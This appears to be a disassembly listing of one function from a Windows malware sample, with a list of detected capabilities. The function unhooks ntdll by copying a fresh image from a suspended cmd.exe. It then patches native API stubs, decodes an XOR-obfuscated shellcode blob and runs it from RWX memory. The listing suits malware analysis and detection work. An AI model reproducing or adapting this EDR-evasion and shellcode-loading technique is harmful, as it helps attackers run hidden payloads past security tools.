Function at 0x140001370
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Get process filename
Parse pe header
Resolve function by parsing pe exports
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x460]
sub rsp, 0x560
mov rax, qword [0x140006008]
xor rax, rsp
mov qword [rbp + 0x450], rax
mov r14d, 7
lea rcx, [rbp + 0xa0]
mov edx, r14d
lea rax, [0x140004460]
nop
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
lea rax, [rax + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx - 0x20], xmm0
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x1400013c0
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movzx eax, word [rax + 0x20]
movups xmmword [rcx], xmm0
movups xmmword [rcx + 0x10], xmm1
mov word [rcx + 0x20], ax
lea ecx, [rdx + 0x68]
call fcn.140001a20
mov rbx, rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbx], xmm0
lea ecx, [rax + 0x18]
movups xmmword [rbx + 0x10], xmm0
movups xmmword [rbx + 0x20], xmm0
movups xmmword [rbx + 0x30], xmm0
movups xmmword [rbx + 0x40], xmm0
movups xmmword [rbx + 0x50], xmm0
mov qword [rbx + 0x60], rax
call fcn.140001a20
mov rdi, rax
lea rdx, str.cmd.exe
mov qword [rsp + 0x48], rdi
xor eax, eax
mov qword [rsp + 0x40], rbx
xorps xmm0, xmm0
xor esi, esi
xor r9d, r9d
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], rax
xor r8d, r8d
lea rax, str.C:WindowsSystem32_
xor ecx, ecx
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x14
mov dword [rsp + 0x20], esi
call qword [0x1400035f8]
mov r12, qword [rdi]
lea rcx, str.PID_:__d_n
mov edx, dword [rdi + 0x10]
mov qword [rsp + 0x50], r12
call fcn.140001070
mov eax, dword [0x140004848]
mov edi, esi
movups xmm0, xmmword [str.ntdll.dll]
mov dword [rsp + 0x68], eax
movzx eax, word [0x14000484c]
mov word [rsp + 0x6c], ax
mov rax, qword gs:[0x60]
movups xmmword [rsp + 0x58], xmm0
mov rcx, qword [rax + 0x18]
mov r9, qword [rcx + 0x20]
test r9, r9
je 0x140001530
nop word [rax + rax]
mov r8, qword [r9 + 0x50]
lea rax, [rsp + 0x58]
mov rdi, qword [r9 + 0x20]
sub r8, rax
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x140001524
add rax, 2
test ecx, ecx
jne 0x140001510
test edx, edx
je 0x140001530
mov r9, qword [r9]
test r9, r9
jne 0x140001500
mov rdx, rdi
lea rcx, str.ntdll.dll_base_address_:_0x_p_n
call fcn.140001070
movsxd rdx, dword [rdi + 0x3c]
lea rcx, [rsp + 0x70]
add rdx, rdi
lea rcx, [rcx + 0x80]
mov r8d, 0x1000
movups xmm0, xmmword [rdx + 0x18]
lea rax, [rdx + 0x98]
movups xmm1, xmmword [rdx + 0x28]
lea r13, [rdx + 0x18]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [rdx + 0x38]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rdx + 0x48]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rdx + 0x58]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rdx + 0x68]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rdx + 0x78]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rdx + 0x88]
movups xmmword [rcx - 0x20], xmm0
movups xmm0, xmmword [rax]
movups xmmword [rcx - 0x10], xmm1
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rax + 0x60]
movzx eax, word [rdx + 0x14]
movups xmmword [rcx + 0x50], xmm1
add r13, rax
movups xmmword [rcx + 0x60], xmm0
mov ebx, dword [rbp - 0x58]
xor ecx, ecx
mov edx, ebx
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea rcx, str.Fresh_NTDLL_:_0x_p_n
mov dword [rbp + 0x68], esi
mov rdx, rax
mov r15, rax
call fcn.140001070
lea rax, [rbp + 0x68]
mov r9d, ebx
mov r8, r15
mov qword [rsp + 0x20], rax
mov rdx, rdi
mov rcx, r12
call qword [0x140003600]
mov eax, 0x5a4d
mov r12, rsi
cmp word [r15], ax
jne 0x14000164d
movsxd rax, dword [r15 + 0x3c]
cmp dword [rax + r15], 0x4550
jne 0x14000164d
mov r12d, dword [rax + r15 + 0x88]
add r12, r15
jne 0x140001659
lea rcx, str.Error_n
call fcn.140001070
mov eax, 0x5a4d
mov rbx, rsi
cmp word [rdi], ax
jne 0x14000167f
movsxd rax, dword [rdi + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x14000167f
mov ebx, dword [rax + rdi + 0x88]
add rbx, rdi
jne 0x14000168b
lea rcx, str.Error_n
call fcn.140001070
mov r9, r12
mov qword [rsp + 0x20], r13
mov r8, rbx
mov rdx, r15
mov rcx, rdi
call fcn.1400010d0
lea rcx, str.Terminating_suspended_process__n
call fcn.140001070
mov rcx, qword [rsp + 0x50]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
lea rcx, str.Done_shit_n
call fcn.140001070
xor edx, edx
mov qword [rbp + 0x70], 0x1000
mov ecx, 0x1fffff
mov qword [rbp + 0x60], rsi
mov r8d, 0xffffffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
lea rcx, [0x1400043e8]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtAllocateVirtualMemory
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, 5
lea r8, [rbp + 0x88]
mov rcx, rax
mov rdx, rbx
lea rax, [rbp + 0x78]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
movzx eax, byte [rbp + 0x8c]
lea r9, [rbp + 0x70]
mov byte [0x14000603c], al
lea rdx, [rbp + 0x60]
lea rax, [0x140006038]
mov dword [rsp + 0x28], 0x40
xor r8d, r8d
mov dword [rsp + 0x20], 0x1000
mov rcx, rdi
call rax
mov rdx, qword [rbp + 0x60]
lea r8, [rbp + 0xa0]
mov r9d, 0x3a2
mov qword [rsp + 0x20], rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea rcx, [0x1400043e8]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtCreateThreadEx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, 5
lea r8, [rbp + 0x90]
mov rcx, rax
mov rdx, rbx
lea rax, [rbp + 0x80]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
movzx eax, byte [rbp + 0x94]
movdqa xmm2, xmmword [0x140004900]
mov byte [0x14000603c], al
mov rax, rsi
nop word [rax + rax]
movdqu xmm0, xmmword [rbp + rax + 0xa0]
pandn xmm0, xmm2
movdqu xmmword [rbp + rax + 0xa0], xmm0
movdqu xmm1, xmmword [rbp + rax + 0xb0]
pandn xmm1, xmm2
movdqu xmmword [rbp + rax + 0xb0], xmm1
movdqu xmm0, xmmword [rbp + rax + 0xc0]
pandn xmm0, xmm2
movdqu xmmword [rbp + rax + 0xc0], xmm0
movdqu xmm0, xmmword [rbp + rax + 0xd0]
pandn xmm0, xmm2
movdqu xmmword [rbp + rax + 0xd0], xmm0
add rax, 0x40
cmp rax, 0x380
jl 0x1400017f0
mov r10d, 0x21
lea rcx, [rbp + 0x420]
mov edx, r10d
not byte [rcx]
lea rcx, [rcx + 1]
sub rdx, 1
jne 0x140001864
mov r8d, esi
lea r9, [rbp + 0xa0]
lea r11, str.19970828888
mov eax, 0xba2e8ba3
lea r9, [r9 + 1]
mul r8d
mov ecx, r8d
inc r8d
shr edx, 3
imul eax, edx, 0xb
sub ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor byte [r9 - 1], al
cmp r8d, 0x3a1
jl 0x140001881
movdqu xmm0, xmmword [rbp + rsi + 0xa0]
pandn xmm0, xmm2
movdqu xmmword [rbp + rsi + 0xa0], xmm0
movdqu xmm1, xmmword [rbp + rsi + 0xb0]
pandn xmm1, xmm2
movdqu xmmword [rbp + rsi + 0xb0], xmm1
movdqu xmm0, xmmword [rbp + rsi + 0xc0]
pandn xmm0, xmm2
movdqu xmmword [rbp + rsi + 0xc0], xmm0
movdqu xmm0, xmmword [rbp + rsi + 0xd0]
pandn xmm0, xmm2
movdqu xmmword [rbp + rsi + 0xd0], xmm0
add rsi, 0x40
cmp rsi, 0x380
jl 0x1400018b0
lea rcx, [rbp + 0x420]
nop dword [rax]
not byte [rcx]
lea rcx, [rcx + 1]
sub r10, 1
jne 0x140001920
mov edx, 0x3a2
lea r9d, [r10 + 0x40]
xor ecx, ecx
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
lea rdx, [rbp + 0xa0]
mov rcx, rax
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rdx]
lea rdx, [rdx + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm1, xmmword [rdx - 0x70]
movups xmmword [rcx - 0x70], xmm1
movups xmm0, xmmword [rdx - 0x60]
movups xmmword [rcx - 0x60], xmm0
movups xmm1, xmmword [rdx - 0x50]
movups xmmword [rcx - 0x50], xmm1
movups xmm0, xmmword [rdx - 0x40]
movups xmmword [rcx - 0x40], xmm0
movups xmm1, xmmword [rdx - 0x30]
movups xmmword [rcx - 0x30], xmm1
movups xmm0, xmmword [rdx - 0x20]
movups xmmword [rcx - 0x20], xmm0
movups xmm1, xmmword [rdx - 0x10]
movups xmmword [rcx - 0x10], xmm1
sub r14, 1
jne 0x140001950
movups xmm0, xmmword [rdx]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx + 0x10], xmm1
movzx eax, word [rdx + 0x20]
mov word [rcx + 0x20], ax
call r8
xor eax, eax
mov rcx, qword [rbp + 0x450]
xor rcx, rsp
call fcn.140001a00
lea r11, [rsp + 0x560]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret